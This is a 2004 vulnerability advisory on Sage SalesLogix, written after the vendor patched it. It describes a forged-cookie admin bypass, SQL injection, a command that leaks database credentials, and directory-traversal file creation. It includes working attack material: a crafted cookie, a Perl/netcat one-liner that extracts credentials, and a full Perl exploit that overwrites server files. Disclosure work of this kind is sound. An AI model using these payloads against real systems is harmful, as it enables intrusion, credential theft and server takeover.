Multiple vulnerabilities in Sage Saleslogix

2004-10-22T00:00:00
ID SECURITYVULNS:DOC:7041
Type securityvulns
Reporter Securityvulns
Modified 2004-10-22T00:00:00

Description



                        Agenda Security Services

                    Security Vulnerability Advisory


Product: SalesLogix Server and Web Client Vendor: Sage Homepage: http://www.saleslogix.com Platforms: Microsoft Windows Impact: Bypass authentication Privilege escalation SQL injection Information leaks Arbitrary file creation Directory traversal Advisory: Agenda-Security-Saleslogix-1-2004 Author: Carl Livitt (carl at agenda hyphen security dot co dot uk) Website: http://www.agenda-security.co.uk Discovery date: May 19, 2004 Release date: October 18, 2004



Product Description:

"SalesLogix is the Customer Relationship Management solution that drives sales performance in small to medium-sized businesses through Sales, Marketing, and Customer Support automation and back-office integration.

SalesLogix Web solutions provide a powerful deployment alternative to traditional client/server applications. Designed for businesses needing a web-based CRM solution with flexible financing options, SalesLogix Web solutions deliver resources and tools that drive sales performance and provide superior customer support. Easy to deploy, customize and use, SalesLogix Web solutions are practical and deliver low total cost of ownership."

Problem Description:

By manipulating the cookies used by the Web Client, it is possible to trick the server into authenticating a remote user as the CRM administrator without requiring a password.

It is also possible to perform SQL injection attacks on the SQL server that is used as the data store for the SalesLogix CRM system, reveal detailed error reports contained in HTTP headers and disclose the real filesystem paths to various SalesLogix directories.

The SalesLogix server itself is vulnerable to an attack that would allow a malicious user to obtain the username and password used to access the SQL server used as a data store. The disclosed username and password always have read/write permissions on the database.

Another vulnerability in the SalesLogix server allows an unauthenticated user to upload arbitrary files to the server in any directory (s)he chooses.



Problem Details:

Web Client: Authentication Bypass


The main login page for the Web Client is found at the URL:

http://www.example.com/scripts/slxweb.dll/home

When a user logs in using this web form, authentication information (the username and password) is passed unencrypted to the SalesLogix (SLX) web server. If authentication is successful, a cookie is set in the user's browser that stores the username, 'team' name and type of user that has logged in. For the purposes of this advisory, the team and user type are not relevant. The cookie that is set looks like this:

slxweb=user=XYZZY0000001|teams=XYZZY0000001!ABCDEF000002!|usertype=Remot e|

It is trivially simple to modify the cookie to contain the administrator's details, and because there is no session tracking performed, the credentials are accepted as valid by the server. A modified cookie would look like this:

slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|

When the SLX Web Client receives this cookie, it does not check for a valid session (the SLX Web Client does not use sessions, making it inherently insecure); neither does it check for a valid password. Instead, it trusts the information in the cookie to be correct and authenticates the user based upon that trust.

As such, the SLX Web Client authentication system is utterly broken and can be bypassed easily and reliably. It should be noted that it is possible to impersonate any user, not just the administrator. Bypassing the authentication can be achieved by following these steps:

  1. Start your favorite HTTP proxy server that is capable of modifying HTTP headers on the fly (for example HTTPush).

  2. Configure Internet Explorer to use that proxy.

  3. Browse to http://www.example.com/scripts/slxweb.dll/view?name=mainpage (of course you need to replace www.example.com with your own webserver address).

  4. When prompted to do so by HTTPush (or whatever proxy you are using), add a new cookie containing the following data:

      slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|
    
  5. Complete the request. This will force the SLX server to set the cookie in your browser.

  6. Configure Internet Explorer to NOT use HTTPush and disable the proxy.

  7. Browse to http://www.example.com/scripts/slxweb.dll/view?name=mainpage again. You will now be logged in as the administrator and you can use the SLX system with administrative rights.

It may be worth noting that using a value of ' (one apostrophe) for the user name in the cookie causes a fatal exception in the SLX process handling the request:

Access violation at address 0424D29F in module 'slxweb.dll'. Read of

address 000000EC;

This has not been tested for exploitability and is fixed in the vendor patches.

Web Client: Information Disclosure in HTTP Headers


By submitting an invalid request to the SLX Web Client, it is possible to cause the process handling the request to crash.

Additionally, the Web Client leaks information about the crash in its HTTP headers. For example, by submitting the following request:

GET /scripts/slxweb.dll/getfile HTTP/1.0 Host: www.example.com Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|

The SLX webserver returns the following headers:

HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Wed, 19 May 2004 10:29:11 GMT X-Powered-By: ASP.NET Set-Cookie: Error=True; Set-Cookie: ErrorCode=513; Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition. Contact your administrator if the problem persists.; Set-Cookie: ErrorLogMsg= Access violation at address 0438E1C4 in module 'slxweb.dll'. Read of address FFFFFFFF; Set-Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|; path=/; expires=Wed, 19 May 2004 10:59:11 GMT; Content-Type: text/html Content-Length: 550

The 'ErrorLogMsg' cookie gives detailed information about the crashed process. This crash has not been tested for exploitability and is fixed in the vendor patches.

Web Client: Document Store Directory Disclosure


By passing an invalid filename to the SLX component responsible for downloading files from the server to the user, it is possible to obtain the full path to the Library and Attachment paths used by SLX:

http://www.example.com/scripts/slxweb.dll/getfile?type=Library&file=XYZZ Y

or

http://www.example.com/scripts/slxweb.dll/getfile?type=Attachment&file=X YZZY

The following error message is displayed:

The file requested "\\servername\logging\Library\XYZZY" was not found on the server.

Web Client: SQL Injection


There are multiple points in the code where SQL injection seems possible. One example of this follows:

http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id='xyzzy'xy zzy

When we examine the headers that are returned from this request, the following error message is displayed (edited for clarity):

Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition. Contact your administrator if the problem persists.; Set-Cookie: ErrorLogMsg=coninfo". Failed to parse SQL.SELECT A1.WORKPHONE, A1.PINNUMBER, A1.PAGERNUMERIC, A1.MOBILE, A1.HOMEPHONE, A1.FAX, A2.POSTALCODE A2_POSTALCODE, A1.WEBADDRESS, A1.TYPE, A1.TITLE, A1.STATUS, A2.STATE A2_STATE, A1.ISPRIMARY, A1.PREFIX, A1.SECCODEID, A1.ACCOUNTMANAGERID, A1.EMAIL, A1.LASTNAME, A1.CONTACTID, A1.FIRSTNAME, A1.DONOTSOLICIT, A2.COUNTRY A2_COUNTRY, A2.CITY A2_CITY, A2.ADDRESS2 A2_ADDRESS2, A2.ADDRESS1 A2_ADDRESS1, A1.ACCOUNTID, A3.ACCOUNT A3_ACCOUNT FROM CONTACT A1 INNER JOIN ADDRESS A2 ON (A1.ADDRESSID=A2.ADDRESSID) INNER JOIN ACCOUNT A3 ON (A1.ACCOUNTID=A3.ACCOUNTID) WHERE (A1.CONTACTID='xyzzy'xyzzy);

Not only is it possible to inject SQL into this statement, but the complete SQL statement (including table and field names) is returned.

Web Client: Passwords are revealed in the source code


By using netcat to submit requests to the SLX server and watching the responses, it is possible to see passwords to the database and other secret data:

carl@agenda:~ > netcat www.example.com 80 GET /scripts/slxweb.dll/view?name=mainpage HTTP/1.0 Host: www.example.com Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|

The returned data is enormous, but a small selection of VBScript is presented to illustrate the situation:

<OBJECT ID="GM" classid="clsid:10506C15-1748-4330-8E46-2CA6C4BB5948" codebase="/slxweb/GroupManager.cab#version=-1,-1,-1,-1" width=0 height=0 align=center hspace=0 vspace=0 > <PARAM Name="ImagePath" value="/slxweb/Images" /> <PARAM Name="UserID" value="Admin" /> <PARAM Name="ServerName" value="www.example.com" /> <PARAM Name="DBType" value="dbSQLServer" /> <PARAM Name="vPort" value="80" /> <PARAM Name="UserName" value="ADMIN" /> <PARAM Name="Password"

value="badc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0ded" /> <PARAM Name="Product" value="SALES" /> <PARAM Name="DataSource" value="SALESLOGIX" /> <PARAM Name="ExtendedProp" value="DSN=SALESLOGIX;UID=Admin;SLX Server=example;ADDRESS=localhost;Type=ODBC;PORT=1706;RWPass=" /> </OBJECT>

Also included in the VBScript are sections that disclose the full path to the Library and Document paths, server names, etc.

One special point of note are sections of code such as this:

vMME.AttachmentPath = "\\example\SLXlogs\Documents" vMME.LibraryPath = "\\example\SLXlogs\Library"

These variables are passed by ActiveX objects back to the server; the server trusts them, and in some cases, uses the paths to point to locations on the filesystem which will be written to. By modifying the VBScript en-route to the browser, it should be possible to change the paths to values such as "c:\" making it feasable that a remote user could upload arbitrary files (ASP scripts for example) to the server and completely compromise it.

SLX: Client / server authentication weaknesses


The protocol that SLX clients and servers use to communicate is flawed by design. It does not mandate that a client is authenticated by the server before issuing SLX commands to it. It is therefore possible for a man-in-the-middle (MITM) attack to take place which would trick a client into believing it had been authenticated by the server.

A highly simplified model of the 'authentication' process for SLX clients looks like this:

  1. Client -> Server [here's my username / password]
  2. Server -> Client [you are now logged in]
  3. Client -> Server [command 1, command 2, command X]
  4. Server -> Client [ok, done. Here's the results]

Unfortunately, when a client sends a command to the SLX server, it makes no attempt to verifiy that the client is logged in and authenticated. In other words, steps 1 & 2 above are not necessary in order to execute SLX commands on the server. This makes it trivial to spoof the client software into believing it has logged in. For example:

  1. Attacker -> Client [ARP spoof. I am the server]
  2. Client -> Attacker [here's my username / password]
  3. Attacker -> Client [you are now logged in]
  4. Client -> Attacker -> Server [command 1, command 2, command X]
  5. Server -> Attacker -> Client [ok, done. Here's the results]

The protocol is sufficiently broken to render all of the SLX client/server communications insecure and allow an attacker to gain complete access to the SLX server.

SLX: Server reveals database username and password


Communicating on TCP port 1707, the SalesLogix server accepts commands from clients in a fairly simple format. As noted above, commands can be issued without need for authentication. For example, by using the command 'GetConnection' with the correct parameters, the server will inform the client of the necessary credentials for accessing the SQL server database that

SalesLogix uses as its data store. The following snippet is a proof of concept that can be executed from the command-line using a Perl interpreter:

perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 . "GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4 1707

The resulting output would look similar to this:

Provider=SQLOLEDB.1;Password=masterkey;Persist Security Info=True; UserID=sysdba;Initial Catalog=SalesLogix;Data Source=TESTBOX

The credentials returned by the server can be used to access the SQL server and perform any read/write action on the data, including adding or deleting user accounts, changing passwords, modifying data etc.

SLX: Arbitrary files can be created on the SalesLogix server


Using a technique similar to above combined with a directory traversal exploit, a malicious user can create, truncate or overwrite arbitrary files on the SalesLogix server. The user does not have to be authenticated.

The command 'ProcessQueueFile' is used by the SalesLogix client to upload a file to the server's Queue directory for processing. The client specifies both the filename and the file content.

By using a filename containing "..\" characters, it is possible to traverse to the root of the filesystem upon which the SalesLogix server is installed. An attacker can use this to create arbitrary files with arbitrary content on the SalesLogix server.

An example exploit capable of uploading a file to a remote SalesLogix server is provided at the end of this advisory.



Vendor notification timeline:

19 May 2004 - Vendor contacted with initial advisory.

16 Jun 2004 - Vendor contacted to request status update. Vendor informed of further vulnerabilities in SLX. Author informed of pending fixes to previous vulnerabilities.

22 Jun 2004 - Sent vendor latest advisory containing PoC exploit for the file creation vulnerability.

15 Oct 2004 - Vendor confirms all vulnerabilities are patched. The decision is made to wait until after the weekend to release details of the vulnerabilities.

18 Oct 2004 - Security advisory released.



Updated software / patches:

All service packs and security fixes can be downloaded from the SalesLogix support website at http://support.saleslogix.com.

It should be noted that Agenda Security Services have not verified that the vendor patches address the security probems described in this advisory.



About Agenda Security Services:

Agenda Resource Management was formed to meet the growing needs of the biotechnology industry for recruitment services, consultancy, training,

facilities management and security services. The security services section has gone from strength to strength, leading to the development of the Agenda Security Services division.

Former police officers, military personnel and network security specialists head it with extensive background experience from their time in the anti- terrorist branch, fraud squad, special branch and computer forensics. Our unique experience of the issues relating to the biotech industry has enabled us to develop sophisticated systems, procedures and unique skills which help us deliver an unrivalled service to our clients.

We are registered with agencies including the Criminal Records Bureau (CRB), Data Protection and BSI. In 2003 we were awarded the Information Security Systems Standard (ISMS) BS7799 into which we are incorporating the code of conduct for security vetting procedures (BS7858).

Our core services are data security/ethical hacking, social engineering, pre-employment security screening, CRB checks, BS7799 consultancy and security awareness training courses.

For more information, please contact us:

   Web: http://www.agenda-security.co.uk
 Email: info at agenda hyphen security dot co dot uk

Telephone: 08456 44 55 46 (UK) +44 1964 671 791 (intl)



!/usr/bin/perl

Proof of concept exploit: Arbitrary file creation for SLX server 6.1

Written by Carl Livitt, Agenda Security Services, June 2004.

This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)

servers

to create arbitrary files on the filesystem of the SLX server. By

using

directory traversal, it is possible to escape from the Queue directory

and

write anywhere on the SLX server's filesystem.

use IO::Socket;

print "slx_uploader - Uploads arbitrary files to Sage SalesLogix servers.\n"; print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";

if($#ARGV!=2) { print "Syntax: $0 host filename_to_create file_to_upload\n\n"; print "Example:\n"; print " $0 10.0.0.100 \\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n"; print "The above example would upload the local file 'evil.txt' to the SLX\n"; print "server on 10.0.0.100, overwriting the existing hosts file.\n"; print "It is possible to upload binary files, e.g. executables, with this exploit.\n\n";

    exit&#40;1&#41;;

} else { $host=$ARGV[0]; $create_file=$ARGV[1]; $upload_file=$ARGV[2]; }

if((stat($upload_file))[7] > 4096) { print "[*] Error! Files to be uploaded must be less than 4k in size.\n\n"; exit(1); }

print "[+] Building payload\n"; $contentLen=43 + length($create_file); $exploit="\x00"x10 . chr($contentLen) . "\x00"x3 . "ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;

open(UPLOAD, '<', $upload_file) || die "Could not open local file $upload_file\n";

while(($line=<UPLOAD>)) { $exploit.=$line; }

close(UPLOAD);

print "[+] Connecting to server $host:1707\n"; $sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not connect to server\n"; exit(1); };

print "[+] Sending exploit payload\n"; send($sock,$exploit,0);

print "[+] Waiting for response\n"; $sock->recv($data,1024,0);

if($data =~ /Received/) { print "[+] Exploit successful\n"; } else { print "[*] Exploit may not have worked.\n"; }

$sock->shutdown(2);

DISCLAIMER Any opinions expressed in this email are those of the individual and not necessarily the Company. This email and any files transmitted with it, including replies and forwarded copies (which may contain alterations) subsequently transmitted from the Company are confidential and solely for the use of the intended recipient. It may contain material protected by attorney-client privilege. If you are not the intended recipient or the person responsible for delivering to the intended recipient, be advised that you have received this email in error and that any use is strictly prohibited.